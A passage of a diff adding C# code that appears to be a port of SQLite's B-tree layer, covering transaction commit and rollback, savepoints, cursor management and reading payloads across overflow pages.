); + sqlite3Put4byte( pBt.pPage1.aData, (u32)28, nFin ); + sqlite3PagerTruncateImage( pBt.pPager, nFin ); + pBt.nPage = nFin; + } + if ( rc != SQLITE_OK ) + { + sqlite3PagerRollback( pPager ); + } + } + + Debug.Assert( nRef == sqlite3PagerRefcount( pPager ) ); + return rc; +} + +#else //* ifndef SQLITE_OMIT_AUTOVACUUM */ +//# define setChildPtrmaps(x) SQLITE_OK +#endif + +/* +** This routine does the first phase of a two-phase commit. This routine +** causes a rollback journal to be created (if it does not already exist) +** and populated with enough information so that if a power loss occurs +** the database can be restored to its original state by playing back +** the journal. Then the contents of the journal are flushed out to +** the disk. After the journal is safely on oxide, the changes to the +** database are written into the database file and flushed to oxide. +** At the end of this call, the rollback journal still exists on the +** disk and we are still holding all locks, so the transaction has not +** committed. See sqlite3BtreeCommitPhaseTwo() for the second phase of the +** commit process. +** +** This call is a no-op if no write-transaction is currently active on pBt. +** +** Otherwise, sync the database file for the btree pBt. zMaster points to +** the name of a master journal file that should be written into the +** individual journal file, or is NULL, indicating no master journal file +** (single database transaction). +** +** When this is called, the master journal should already have been +** created, populated with this journal pointer and synced to disk. +** +** Once this is routine has returned, the only thing required to commit +** the write-transaction for this database file is to delete the journal. +*/ +static int sqlite3BtreeCommitPhaseOne( Btree p, string zMaster ) +{ + int rc = SQLITE_OK; + if ( p.inTrans == TRANS_WRITE ) + { + BtShared pBt = p.pBt; + sqlite3BtreeEnter( p ); +#if !SQLITE_OMIT_AUTOVACUUM + if ( pBt.autoVacuum ) + { + rc = autoVacuumCommit( pBt ); + if ( rc != SQLITE_OK ) + { + sqlite3BtreeLeave( p ); + return rc; + } + } +#endif + rc = sqlite3PagerCommitPhaseOne( pBt.pPager, zMaster, false ); + sqlite3BtreeLeave( p ); + } + return rc; +} + +/* +** This function is called from both BtreeCommitPhaseTwo() and BtreeRollback() +** at the conclusion of a transaction. +*/ +static void btreeEndTransaction( Btree p ) +{ + BtShared pBt = p.pBt; + Debug.Assert( sqlite3BtreeHoldsMutex( p ) ); + + btreeClearHasContent( pBt ); + if ( p.inTrans > TRANS_NONE && p.db.activeVdbeCnt > 1 ) + { + /* If there are other active statements that belong to this database + ** handle, downgrade to a read-only transaction. The other statements + ** may still be reading from the database. */ + + downgradeAllSharedCacheTableLocks( p ); + p.inTrans = TRANS_READ; + } + else + { + /* If the handle had any kind of transaction open, decrement the + ** transaction count of the shared btree. If the transaction count + ** reaches 0, set the shared state to TRANS_NONE. The unlockBtreeIfUnused() + ** call below will unlock the pager. */ + if ( p.inTrans != TRANS_NONE ) + { + clearAllSharedCacheTableLocks( p ); + pBt.nTransaction--; + if ( 0 == pBt.nTransaction ) + { + pBt.inTransaction = TRANS_NONE; + } + } + + /* Set the current transaction state to TRANS_NONE and unlock the + ** pager if this call closed the only read or write transaction. */ + p.inTrans = TRANS_NONE; + unlockBtreeIfUnused( pBt ); + } + + btreeIntegrity( p ); +} + +/* +** Commit the transaction currently in progress. +** +** This routine implements the second phase of a 2-phase commit. The +** sqlite3BtreeCommitPhaseOne() routine does the first phase and should +** be invoked prior to calling this routine. The sqlite3BtreeCommitPhaseOne() +** routine did all the work of writing information out to disk and flushing the +** contents so that they are written onto the disk platter. All this +** routine has to do is delete or truncate or zero the header in the +** the rollback journal (which causes the transaction to commit) and +** drop locks. +** +** Normally, if an error occurs while the pager layer is attempting to +** finalize the underlying journal file, this function returns an error and +** the upper layer will attempt a rollback. However, if the second argument +** is non-zero then this b-tree transaction is part of a multi-file +** transaction. In this case, the transaction has already been committed +** (by deleting a master journal file) and the caller will ignore this +** functions return code. So, even if an error occurs in the pager layer, +** reset the b-tree objects internal state to indicate that the write +** transaction has been closed. This is quite safe, as the pager will have +** transitioned to the error state. +** +** This will release the write lock on the database file. If there +** are no active cursors, it also releases the read lock. +*/ +static int sqlite3BtreeCommitPhaseTwo( Btree p, int bCleanup) +{ + if ( p.inTrans == TRANS_NONE ) + return SQLITE_OK; + sqlite3BtreeEnter( p ); + btreeIntegrity( p ); + + /* If the handle has a write-transaction open, commit the shared-btrees + ** transaction and set the shared state to TRANS_READ. + */ + if ( p.inTrans == TRANS_WRITE ) + { + int rc; + BtShared pBt = p.pBt; + Debug.Assert( pBt.inTransaction == TRANS_WRITE ); + Debug.Assert( pBt.nTransaction > 0 ); + rc = sqlite3PagerCommitPhaseTwo( pBt.pPager ); + if ( rc != SQLITE_OK && bCleanup == 0 ) + { + sqlite3BtreeLeave( p ); + return rc; + } + pBt.inTransaction = TRANS_READ; + } + + btreeEndTransaction( p ); + sqlite3BtreeLeave( p ); + return SQLITE_OK; +} + +/* +** Do both phases of a commit. +*/ +static int sqlite3BtreeCommit( Btree p ) +{ + int rc; + sqlite3BtreeEnter( p ); + rc = sqlite3BtreeCommitPhaseOne( p, null ); + if ( rc == SQLITE_OK ) + { + rc = sqlite3BtreeCommitPhaseTwo( p, 0 ); + } + sqlite3BtreeLeave( p ); + return rc; +} + +#if !NDEBUG || DEBUG +/* +** Return the number of write-cursors open on this handle. This is for use +** in Debug.Assert() expressions, so it is only compiled if NDEBUG is not +** defined. +** +** For the purposes of this routine, a write-cursor is any cursor that +** is capable of writing to the databse. That means the cursor was +** originally opened for writing and the cursor has not be disabled +** by having its state changed to CURSOR_FAULT. +*/ +static int countWriteCursors( BtShared pBt ) +{ + BtCursor pCur; + int r = 0; + for ( pCur = pBt.pCursor; pCur != null; pCur = pCur.pNext ) + { + if ( pCur.wrFlag != 0 && pCur.eState != CURSOR_FAULT ) + r++; + } + return r; +} +#else +static int countWriteCursors(BtShared pBt) { return -1; } +#endif + +/* +** This routine sets the state to CURSOR_FAULT and the error +** code to errCode for every cursor on BtShared that pBtree +** references. +** +** Every cursor is tripped, including cursors that belong +** to other database connections that happen to be sharing +** the cache with pBtree. +** +** This routine gets called when a rollback occurs. +** All cursors using the same cache must be tripped +** to prevent them from trying to use the btree after +** the rollback. The rollback may have deleted tables +** or moved root pages, so it is not sufficient to +** save the state of the cursor. The cursor must be +** invalidated. +*/ +static void sqlite3BtreeTripAllCursors( Btree pBtree, int errCode ) +{ + BtCursor p; + sqlite3BtreeEnter( pBtree ); + for ( p = pBtree.pBt.pCursor; p != null; p = p.pNext ) + { + int i; + sqlite3BtreeClearCursor( p ); + p.eState = CURSOR_FAULT; + p.skipNext = errCode; + for ( i = 0; i <= p.iPage; i++ ) + { + releasePage( p.apPage[i] ); + p.apPage[i] = null; + } + } + sqlite3BtreeLeave( pBtree ); +} + +/* +** Rollback the transaction in progress. All cursors will be +** invalided by this operation. Any attempt to use a cursor +** that was open at the beginning of this operation will result +** in an error. +** +** This will release the write lock on the database file. If there +** are no active cursors, it also releases the read lock. +*/ +static int sqlite3BtreeRollback( Btree p ) +{ + int rc; + BtShared pBt = p.pBt; + MemPage pPage1 = new MemPage(); + + sqlite3BtreeEnter( p ); + rc = saveAllCursors( pBt, 0, null ); +#if NO_SQLITE_OMIT_SHARED_CACHE //#if !SQLITE_OMIT_SHARED_CACHE +if( rc!=SQLITE_OK ){ +/* This is a horrible situation. An IO or malloc() error occurred whilst +** trying to save cursor positions. If this is an automatic rollback (as +** the result of a constraint, malloc() failure or IO error) then +** the cache may be internally inconsistent (not contain valid trees) so +** we cannot simply return the error to the caller. Instead, abort +** all queries that may be using any of the cursors that failed to save. +*/ +sqlite3BtreeTripAllCursors(p, rc); +} +#endif + btreeIntegrity( p ); + + if ( p.inTrans == TRANS_WRITE ) + { + int rc2; + + Debug.Assert( TRANS_WRITE == pBt.inTransaction ); + rc2 = sqlite3PagerRollback( pBt.pPager ); + if ( rc2 != SQLITE_OK ) + { + rc = rc2; + } + + /* The rollback may have destroyed the pPage1.aData value. So + ** call btreeGetPage() on page 1 again to make + ** sure pPage1.aData is set correctly. */ + if ( btreeGetPage( pBt, 1, ref pPage1, 0 ) == SQLITE_OK ) + { + Pgno nPage = sqlite3Get4byte( pPage1.aData, 28 ); + testcase( nPage == 0 ); + if ( nPage == 0 ) + sqlite3PagerPagecount( pBt.pPager, out nPage ); + testcase( pBt.nPage != nPage ); + pBt.nPage = nPage; + releasePage( pPage1 ); + } + Debug.Assert( countWriteCursors( pBt ) == 0 ); + pBt.inTransaction = TRANS_READ; + } + + btreeEndTransaction( p ); + sqlite3BtreeLeave( p ); + return rc; +} + +/* +** Start a statement subtransaction. The subtransaction can can be rolled +** back independently of the main transaction. You must start a transaction +** before starting a subtransaction. The subtransaction is ended automatically +** if the main transaction commits or rolls back. +** +** Statement subtransactions are used around individual SQL statements +** that are contained within a BEGIN...COMMIT block. If a constraint +** error occurs within the statement, the effect of that one statement +** can be rolled back without having to rollback the entire transaction. +** +** A statement sub-transaction is implemented as an anonymous savepoint. The +** value passed as the second parameter is the total number of savepoints, +** including the new anonymous savepoint, open on the B-Tree. i.e. if there +** are no active savepoints and no other statement-transactions open, +** iStatement is 1. This anonymous savepoint can be released or rolled back +** using the sqlite3BtreeSavepoint() function. +*/ +static int sqlite3BtreeBeginStmt( Btree p, int iStatement ) +{ + int rc; + BtShared pBt = p.pBt; + sqlite3BtreeEnter( p ); + Debug.Assert( p.inTrans == TRANS_WRITE ); + Debug.Assert( !pBt.readOnly ); + Debug.Assert( iStatement > 0 ); + Debug.Assert( iStatement > p.db.nSavepoint ); + Debug.Assert( pBt.inTransaction == TRANS_WRITE ); + /* At the pager level, a statement transaction is a savepoint with + ** an index greater than all savepoints created explicitly using + ** SQL statements. It is illegal to open, release or rollback any + ** such savepoints while the statement transaction savepoint is active. + */ + rc = sqlite3PagerOpenSavepoint( pBt.pPager, iStatement ); + sqlite3BtreeLeave( p ); + return rc; +} + +/* +** The second argument to this function, op, is always SAVEPOINT_ROLLBACK +** or SAVEPOINT_RELEASE. This function either releases or rolls back the +** savepoint identified by parameter iSavepoint, depending on the value +** of op. +** +** Normally, iSavepoint is greater than or equal to zero. However, if op is +** SAVEPOINT_ROLLBACK, then iSavepoint may also be -1. In this case the +** contents of the entire transaction are rolled back. This is different +** from a normal transaction rollback, as no locks are released and the +** transaction remains open. +*/ +static int sqlite3BtreeSavepoint( Btree p, int op, int iSavepoint ) +{ + int rc = SQLITE_OK; + if ( p != null && p.inTrans == TRANS_WRITE ) + { + BtShared pBt = p.pBt; + Debug.Assert( op == SAVEPOINT_RELEASE || op == SAVEPOINT_ROLLBACK ); + Debug.Assert( iSavepoint >= 0 || ( iSavepoint == -1 && op == SAVEPOINT_ROLLBACK ) ); + sqlite3BtreeEnter( p ); + rc = sqlite3PagerSavepoint( pBt.pPager, op, iSavepoint ); + if ( rc == SQLITE_OK ) + { + if ( iSavepoint < 0 && pBt.initiallyEmpty ) + pBt.nPage = 0; + rc = newDatabase( pBt ); + pBt.nPage = sqlite3Get4byte( pBt.pPage1.aData, 28 ); + /* The database size was written into the offset 28 of the header + ** when the transaction started, so we know that the value at offset + ** 28 is nonzero. */ + Debug.Assert( pBt.nPage > 0 ); + } + sqlite3BtreeLeave( p ); + } + return rc; +} + +/* +** Create a new cursor for the BTree whose root is on the page +** iTable. If a read-only cursor is requested, it is assumed that +** the caller already has at least a read-only transaction open +** on the database already. If a write-cursor is requested, then +** the caller is assumed to have an open write transaction. +** +** If wrFlag==null, then the cursor can only be used for reading. +** If wrFlag==1, then the cursor can be used for reading or for +** writing if other conditions for writing are also met. These +** are the conditions that must be met in order for writing to +** be allowed: +** +** 1: The cursor must have been opened with wrFlag==1 +** +** 2: Other database connections that share the same pager cache +** but which are not in the READ_UNCOMMITTED state may not have +** cursors open with wrFlag==null on the same table. Otherwise +** the changes made by this write cursor would be visible to +** the read cursors in the other database connection. +** +** 3: The database must be writable (not on read-only media) +** +** 4: There must be an active transaction. +** +** No checking is done to make sure that page iTable really is the +** root page of a b-tree. If it is not, then the cursor acquired +** will not work correctly. +** +** It is assumed that the sqlite3BtreeCursorZero() has been called +** on pCur to initialize the memory space prior to invoking this routine. +*/ +static int btreeCursor( +Btree p, /* The btree */ +int iTable, /* Root page of table to open */ +int wrFlag, /* 1 to write. 0 read-only */ +KeyInfo pKeyInfo, /* First arg to comparison function */ +BtCursor pCur /* Space for new cursor */ +) +{ + BtShared pBt = p.pBt; /* Shared b-tree handle */ + + Debug.Assert( sqlite3BtreeHoldsMutex( p ) ); + Debug.Assert( wrFlag == 0 || wrFlag == 1 ); + + /* The following Debug.Assert statements verify that if this is a sharable + ** b-tree database, the connection is holding the required table locks, + ** and that no other connection has any open cursor that conflicts with + ** this lock. */ + Debug.Assert( hasSharedCacheTableLock( p, (u32)iTable, pKeyInfo != null ? 1 : 0, wrFlag + 1 ) ); + Debug.Assert( wrFlag == 0 || !hasReadConflicts( p, (u32)iTable ) ); + + /* Assert that the caller has opened the required transaction. */ + Debug.Assert( p.inTrans > TRANS_NONE ); + Debug.Assert( wrFlag == 0 || p.inTrans == TRANS_WRITE ); + Debug.Assert( pBt.pPage1 != null && pBt.pPage1.aData != null ); + + if ( NEVER( wrFlag != 0 && pBt.readOnly ) ) + { + return SQLITE_READONLY; + } + if ( iTable == 1 && btreePagecount( pBt ) == 0 ) + { + return SQLITE_EMPTY; + } + + /* Now that no other errors can occur, finish filling in the BtCursor + ** variables and link the cursor into the BtShared list. */ + pCur.pgnoRoot = (Pgno)iTable; + pCur.iPage = -1; + pCur.pKeyInfo = pKeyInfo; + pCur.pBtree = p; + pCur.pBt = pBt; + pCur.wrFlag = (u8)wrFlag; + pCur.pNext = pBt.pCursor; + if ( pCur.pNext != null ) + { + pCur.pNext.pPrev = pCur; + } + pBt.pCursor = pCur; + pCur.eState = CURSOR_INVALID; + pCur.cachedRowid = 0; + return SQLITE_OK; +} +static int sqlite3BtreeCursor( +Btree p, /* The btree */ +int iTable, /* Root page of table to open */ +int wrFlag, /* 1 to write. 0 read-only */ +KeyInfo pKeyInfo, /* First arg to xCompare() */ +BtCursor pCur /* Write new cursor here */ +) +{ + int rc; + sqlite3BtreeEnter( p ); + rc = btreeCursor( p, iTable, wrFlag, pKeyInfo, pCur ); + sqlite3BtreeLeave( p ); + return rc; +} + +/* +** Return the size of a BtCursor object in bytes. +** +** This interfaces is needed so that users of cursors can preallocate +** sufficient storage to hold a cursor. The BtCursor object is opaque +** to users so they cannot do the sizeof() themselves - they must call +** this routine. +*/ +static int sqlite3BtreeCursorSize() +{ + return -1; // Not Used -- return ROUND8(sizeof(BtCursor)); +} + +/* +** Initialize memory that will be converted into a BtCursor object. +** +** The simple approach here would be to memset() the entire object +** to zero. But it turns out that the apPage[] and aiIdx[] arrays +** do not need to be zeroed and they are large, so we can save a lot +** of run-time by skipping the initialization of those elements. +*/ +static void sqlite3BtreeCursorZero( BtCursor p ) +{ + p.Clear(); // memset( p, 0, offsetof( BtCursor, iPage ) ); +} + +/* +** Set the cached rowid value of every cursor in the same database file +** as pCur and having the same root page number as pCur. The value is +** set to iRowid. +** +** Only positive rowid values are considered valid for this cache. +** The cache is initialized to zero, indicating an invalid cache. +** A btree will work fine with zero or negative rowids. We just cannot +** cache zero or negative rowids, which means tables that use zero or +** negative rowids might run a little slower. But in practice, zero +** or negative rowids are very uncommon so this should not be a problem. +*/ +static void sqlite3BtreeSetCachedRowid( BtCursor pCur, sqlite3_int64 iRowid ) +{ + BtCursor p; + for ( p = pCur.pBt.pCursor; p != null; p = p.pNext ) + { + if ( p.pgnoRoot == pCur.pgnoRoot ) + p.cachedRowid = iRowid; + } + Debug.Assert( pCur.cachedRowid == iRowid ); +} + +/* +** Return the cached rowid for the given cursor. A negative or zero +** return value indicates that the rowid cache is invalid and should be +** ignored. If the rowid cache has never before been set, then a +** zero is returned. +*/ +static sqlite3_int64 sqlite3BtreeGetCachedRowid( BtCursor pCur ) +{ + return pCur.cachedRowid; +} + +/* +** Close a cursor. The read lock on the database file is released +** when the last cursor is closed. +*/ +static int sqlite3BtreeCloseCursor( BtCursor pCur ) +{ + Btree pBtree = pCur.pBtree; + if ( pBtree != null ) + { + int i; + BtShared pBt = pCur.pBt; + sqlite3BtreeEnter( pBtree ); + sqlite3BtreeClearCursor( pCur ); + if ( pCur.pPrev != null ) + { + pCur.pPrev.pNext = pCur.pNext; + } + else + { + pBt.pCursor = pCur.pNext; + } + if ( pCur.pNext != null ) + { + pCur.pNext.pPrev = pCur.pPrev; + } + for ( i = 0; i <= pCur.iPage; i++ ) + { + releasePage( pCur.apPage[i] ); + } + unlockBtreeIfUnused( pBt ); + invalidateOverflowCache( pCur ); + /* sqlite3_free(ref pCur); */ + sqlite3BtreeLeave( pBtree ); + } + return SQLITE_OK; +} + +/* +** Make sure the BtCursor* given in the argument has a valid +** BtCursor.info structure. If it is not already valid, call +** btreeParseCell() to fill it in. +** +** BtCursor.info is a cache of the information in the current cell. +** Using this cache reduces the number of calls to btreeParseCell(). +** +** 2007-06-25: There is a bug in some versions of MSVC that cause the +** compiler to crash when getCellInfo() is implemented as a macro. +** But there is a measureable speed advantage to using the macro on gcc +** (when less compiler optimizations like -Os or -O0 are used and the +** compiler is not doing agressive inlining.) So we use a real function +** for MSVC and a macro for everything else. Ticket #2457. +*/ +#if !NDEBUG +static void assertCellInfo( BtCursor pCur ) +{ + CellInfo info; + int iPage = pCur.iPage; + info = new CellInfo();//memset(info, 0, sizeof(info)); + btreeParseCell( pCur.apPage[iPage], pCur.aiIdx[iPage], ref info ); + Debug.Assert( info.GetHashCode() == pCur.info.GetHashCode() || info.Equals( pCur.info ) );//memcmp(info, pCur.info, sizeof(info))==0 ); +} +#else +// #define assertCellInfo(x) +static void assertCellInfo(BtCursor pCur) { } +#endif +//#if _MSC_VER +/* Use a real function in MSVC to work around bugs in that compiler. */ +static void getCellInfo( BtCursor pCur ) +{ + if ( pCur.info.nSize == 0 ) + { + int iPage = pCur.iPage; + btreeParseCell( pCur.apPage[iPage], pCur.aiIdx[iPage], ref pCur.info ); + pCur.validNKey = true; + } + else + { + assertCellInfo( pCur ); + } +} +//#else //* if not _MSC_VER */ +/* Use a macro in all other compilers so that the function is inlined */ +//#define getCellInfo(pCur) \ +// if( pCur.info.nSize==null ){ \ +// int iPage = pCur.iPage; \ +// btreeParseCell(pCur.apPage[iPage],pCur.aiIdx[iPage],&pCur.info); \ +// pCur.validNKey = true; \ +// }else{ \ +// assertCellInfo(pCur); \ +// } +//#endif //* _MSC_VER */ + +#if !NDEBUG //* The next routine used only within Debug.Assert() statements */ +/* +** Return true if the given BtCursor is valid. A valid cursor is one +** that is currently pointing to a row in a (non-empty) table. +** This is a verification routine is used only within Debug.Assert() statements. +*/ +static bool sqlite3BtreeCursorIsValid( BtCursor pCur ) +{ + return pCur != null && pCur.eState == CURSOR_VALID; +} +#else +static bool sqlite3BtreeCursorIsValid(BtCursor pCur) { return true; } +#endif //* NDEBUG */ + +/* +** Set pSize to the size of the buffer needed to hold the value of +** the key for the current entry. If the cursor is not pointing +** to a valid entry, pSize is set to 0. +** +** For a table with the INTKEY flag set, this routine returns the key +** itself, not the number of bytes in the key. +** +** The caller must position the cursor prior to invoking this routine. +** +** This routine cannot fail. It always returns SQLITE_OK. +*/ +static int sqlite3BtreeKeySize( BtCursor pCur, ref i64 pSize ) +{ + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( pCur.eState == CURSOR_INVALID || pCur.eState == CURSOR_VALID ); + if ( pCur.eState != CURSOR_VALID ) + { + pSize = 0; + } + else + { + getCellInfo( pCur ); + pSize = pCur.info.nKey; + } + return SQLITE_OK; +} + +/* +** Set pSize to the number of bytes of data in the entry the +** cursor currently points to. +** +** The caller must guarantee that the cursor is pointing to a non-NULL +** valid entry. In other words, the calling procedure must guarantee +** that the cursor has Cursor.eState==CURSOR_VALID. +** +** Failure is not possible. This function always returns SQLITE_OK. +** It might just as well be a procedure (returning void) but we continue +** to return an integer result code for historical reasons. +*/ +static int sqlite3BtreeDataSize( BtCursor pCur, ref u32 pSize ) +{ + Debug.Assert( cursorHoldsMutex( pCur ) ); + Debug.Assert( pCur.eState == CURSOR_VALID ); + getCellInfo( pCur ); + pSize = pCur.info.nData; + return SQLITE_OK; +} + +/* +** Given the page number of an overflow page in the database (parameter +** ovfl), this function finds the page number of the next page in the +** linked list of overflow pages. If possible, it uses the auto-vacuum +** pointer-map data instead of reading the content of page ovfl to do so. +** +** If an error occurs an SQLite error code is returned. Otherwise: +** +** The page number of the next overflow page in the linked list is +** written to pPgnoNext. If page ovfl is the last page in its linked +** list, pPgnoNext is set to zero. +** +** If ppPage is not NULL, and a reference to the MemPage object corresponding +** to page number pOvfl was obtained, then ppPage is set to point to that +** reference. It is the responsibility of the caller to call releasePage() +** on ppPage to free the reference. In no reference was obtained (because +** the pointer-map was used to obtain the value for pPgnoNext), then +** ppPage is set to zero. +*/ +static int getOverflowPage( +BtShared pBt, /* The database file */ +Pgno ovfl, /* Current overflow page number */ +out MemPage ppPage, /* OUT: MemPage handle (may be NULL) */ +out Pgno pPgnoNext /* OUT: Next overflow page number */ +) +{ + Pgno next = 0; + MemPage pPage = null; + ppPage = null; + int rc = SQLITE_OK; + + Debug.Assert( sqlite3_mutex_held( pBt.mutex ) ); + // Debug.Assert( pPgnoNext); + +#if !SQLITE_OMIT_AUTOVACUUM + /* Try to find the next page in the overflow list using the +** autovacuum pointer-map pages. Guess that the next page in +** the overflow list is page number (ovfl+1). If that guess turns +** out to be wrong, fall back to loading the data of page +** number ovfl to determine the next page number. +*/ + if ( pBt.autoVacuum ) + { + Pgno pgno = 0; + Pgno iGuess = ovfl + 1; + u8 eType = 0; + + while ( PTRMAP_ISPAGE( pBt, iGuess ) || iGuess == PENDING_BYTE_PAGE( pBt ) ) + { + iGuess++; + } + + if ( iGuess <= btreePagecount( pBt ) ) + { + rc = ptrmapGet( pBt, iGuess, ref eType, ref pgno ); + if ( rc == SQLITE_OK && eType == PTRMAP_OVERFLOW2 && pgno == ovfl ) + { + next = iGuess; + rc = SQLITE_DONE; + } + } + } +#endif + + Debug.Assert( next == 0 || rc == SQLITE_DONE ); + if ( rc == SQLITE_OK ) + { + rc = btreeGetPage( pBt, ovfl, ref pPage, 0 ); + Debug.Assert( rc == SQLITE_OK || pPage == null ); + if ( rc == SQLITE_OK ) + { + next = sqlite3Get4byte( pPage.aData ); + } + } + + pPgnoNext = next; + if ( ppPage != null ) + { + ppPage = pPage; + } + else + { + releasePage( pPage ); + } + return ( rc == SQLITE_DONE ? SQLITE_OK : rc ); +} + +/* +** Copy data from a buffer to a page, or from a page to a buffer. +** +** pPayload is a pointer to data stored on database page pDbPage. +** If argument eOp is false, then nByte bytes of data are copied +** from pPayload to the buffer pointed at by pBuf. If eOp is true, +** then sqlite3PagerWrite() is called on pDbPage and nByte bytes +** of data are copied from the buffer pBuf to pPayload. +** +** SQLITE_OK is returned on success, otherwise an error code. +*/ +static int copyPayload( +byte[] pPayload, /* Pointer to page data */ +u32 payloadOffset, /* Offset into page data */ +byte[] pBuf, /* Pointer to buffer */ +u32 pBufOffset, /* Offset into buffer */ +u32 nByte, /* Number of bytes to copy */ +int eOp, /* 0 . copy from page, 1 . copy to page */ +DbPage pDbPage /* Page containing pPayload */ +) +{ + if ( eOp != 0 ) + { + /* Copy data from buffer to page (a write operation) */ + int rc = sqlite3PagerWrite( pDbPage ); + if ( rc != SQLITE_OK ) + { + return rc; + } + Buffer.BlockCopy( pBuf, (int)pBufOffset, pPayload, (int)payloadOffset, (int)nByte );// memcpy( pPayload, pBuf, nByte ); + } + else + { + /* Copy data from page to buffer (a read operation) */ + Buffer.BlockCopy( pPayload, (int)payloadOffset, pBuf, (int)pBufOffset, (int)nByte );//memcpy(pBuf, pPayload, nByte); + } + return SQLITE_OK; +} +//static int copyPayload( +// byte[] pPayload, /* Pointer to page data */ +// byte[] pBuf, /* Pointer to buffer */ +// int nByte, /* Number of bytes to copy */ +// int eOp, /* 0 -> copy from page, 1 -> copy to page */ +// DbPage pDbPage /* Page containing pPayload */ +//){ +// if( eOp!=0 ){ +// /* Copy data from buffer to page (a write operation) */ +// int rc = sqlite3PagerWrite(pDbPage); +// if( rc!=SQLITE_OK ){ +// return rc; +// } +// memcpy(pPayload, pBuf, nByte); +// }else{ +// /* Copy data from page to buffer (a read operation) */ +// memcpy(pBuf, pPayload, nByte); +// } +// return SQLITE_OK; +//} + +/* +** This function is used to read or overwrite payload information +** for the entry that the pCur cursor is pointing to. If the eOp +** parameter is 0, this is a read operation (data copied into +** buffer pBuf). If it is non-zero, a write (data copied from +** buffer pBuf). +** +** A total of "amt" bytes are read or written beginning at "offset". +** Data is read to or from the buffer pBuf. +** +** The content being read or written might appear on the main page +** or be scattered out on multiple overflow pages. +** +** If the BtCursor.isIncrblobHandle flag is set, and the current +** cursor entry uses one or more overflow pages, this function +** allocates space for and lazily popluates the overflow page-list +** cache array (BtCursor.aOverflow). Subsequent calls use this +** cache to make seeking to the supplied offset more efficient. +** +** Once an overflow page-list cache has been allocated, it may be +** invalidated if some other cursor writes to the same table, or if +** the cursor is moved to a different row. Additionally, in auto-vacuum +** mode, the following events may invalidate an overflow page-list cache. +** +** * An incremental vacuum, +** * A commit in auto_vacuum="full" mode, +** * Creating a table (may require moving an overflow page). +*/ +static int accessPayload( +BtCursor pCur, /* Cursor pointing to entry to read from */ +u32 offset, /* Begin reading this far into payload */ +u32 amt, /* Read this many bytes */ +byte[] pBuf, /* Write the bytes into this buffer */ +int eOp /* zero to read. non-zero to write. */ +) +{ + u32 pBufOffset = 0; + byte[] aPayload; + int rc = SQLITE_OK; + u32 nKey; + int iIdx = 0; + MemPage pPage = pCur.apPage[pCur.iPage]; /* Btree page of current entry */ + BtShared pBt = pCur.pBt; /* Btree this cursor belongs to */ + + Debug.Assert( pPage != null ); + Debug.Assert( pCur.eState == CURSOR_VALID ); + Debug.Assert( pCur.aiIdx[pCur.iPage] < pPage.nCell ); + Debug.Assert( cursorHoldsMutex( pCur ) ); + + getCellInfo( pCur ); + aPayload = pCur.info.pCell; //pCur.info.pCell + pCur.info.nHeader; + nKey = (u32)( pPage.intKey != 0 ? 0 : (int)pCur.info.nKey ); + + if ( NEVER( offset + amt > nKey + pCur.info.nData ) + || pCur.info.nLocal > pBt.usableSize//&aPayload[pCur.info.nLocal] > &pPage.aData[pBt.usableSize] + ) + { + /* Trying to read or write past the end of the data is an error */ + return SQLITE_CORRUPT_BKPT(); + } + + /* Check if data must be read/written to/from the btree page itself. */ + if ( offset < pCur.info.nLocal ) + { + int a = (int)amt; + if ( a + offset > pCur.info.nLocal ) + { + a = (int)( pCur.info.nLocal - offset ); + } + rc = copyPayload( aPayload, (u32)( offset + pCur.info.iCell + pCur.info.nHeader ), pBuf, pBufOffset, (u32)a, eOp, pPage.pDbPage ); + offset = 0; + pBufOffset += (u32)a; //pBuf += a; + amt -= (u32)a; + } + else + { + offset -= pCur.info.nLocal; + } + + if ( rc == SQLITE_OK && amt > 0 ) + { + u32 ovflSize = (u32)( pBt.usableSize - 4 ); /* Bytes content per ovfl page */ + Pgno nextPage; + + nextPage = sqlite3Get4byte( aPayload, pCur.info.nLocal + pCur.info.iCell + pCur.info.nHeader ); + +#if NOT_SQLITE_OMIT_INCRBLOB //#if !SQLITE_OMIT_INCRBLOB +/* If the isIncrblobHandle flag is set and the BtCursor.aOverflow[] +** has not been allocated, allocate it now. The array is sized at +** one entry for each overflow page in the overflow chain. The +** page number of the first overflow page is stored in aOverflow[0], +** etc. A value of 0 in the aOverflow[] array means "not yet known" +** (the cache is lazily populated). +*/ +if( pCur.isIncrblobHandle && !pCur.aOverflow ){ +int nOvfl = (pCur.info.nPayload-pCur.info.nLocal+ovflSize-1)/ovflSize; +pCur.aOverflow = (Pgno *)sqlite3MallocZero(sizeof(Pgno)*nOvfl); +/* nOvfl is always positive. If it were zero, fetchPayload would have +** been used instead of this routine. */ +if( ALWAYS(nOvfl) && !pCur.aOverflow ){ +rc = SQLITE_NOMEM; +} +} + +/* If the overflow page-list cache has been allocated and the +** entry for the first required overflow page is valid, skip +** directly to it. +*/ +if( pCur.aOverflow && pCur.aOverflow[offset/ovflSize] ){ +iIdx = (offset/ovflSize); +nextPage = pCur.aOverflow[iIdx]; +offset = (offset%ovflSize); +} +#endif + + for ( ; rc == SQLITE_OK && amt > 0 && nextPage != 0; iIdx++ ) + { + +#if NOT_SQLITE_OMIT_INCRBLOB //#if !SQLITE_OMIT_INCRBLOB +/* If required, populate the overflow page-list cache. */ +if( pCur.aOverflow ){ +Debug.Assert(!pCur.aOverflow[iIdx] || pCur.aOverflow[iIdx]==nextPage); +pCur.aOverflow[iIdx] = nextPage; +} +#endif + + MemPage MemPageDummy = null; + if ( offset >= ovflSize ) + { + /* The only reason to read this page is to obtain the page + ** number for the next page in the overflow chain. The page + ** data is not required. So first try to lookup the overflow + ** page-list cache, if any, then fall back to the getOverflowPage() + ** function. + */ +#if NOT_SQLITE_OMIT_INCRBLOB //#if !SQLITE_OMIT_INCRBLOB +if( pCur.aOverflow && pCur.aOverflow[iIdx+1] ){ +nextPage = pCur.aOverflow[iIdx+1]; +} else +#endif + rc = getOverflowPage( pBt, nextPage, out MemPageDummy, out nextPage ); + offset -= ovflSize; + } + else + { + /* Need to read this page properly. It contains some of the + ** range of data that is being read (eOp==null) or written (eOp!=null). + */ + PgHdr pDbPage = new PgHdr(); + int a = (int)amt; + rc = sqlite3PagerGet( pBt.pPager, nextPage, ref pDbPage ); + if ( rc == SQLITE_OK ) + { + aPayload = sqlite3PagerGetData( pDbPage ); + nextPage = sqlite3Get4byte( aPayload ); + if ( a + offset > ovflSize ) + { + a = (int)( ovflSize - offset ); + } + rc = copyPayload( aPayload, offset + 4, pBuf, pBufOffset, (u32)a, eOp, pDbPage ); + sqlite3PagerUnref( pDbPage ); + offset = 0; + amt -= (u32)a; + pBufOffset += (u32)a;//pBuf += a; + } + } + } + } + + if 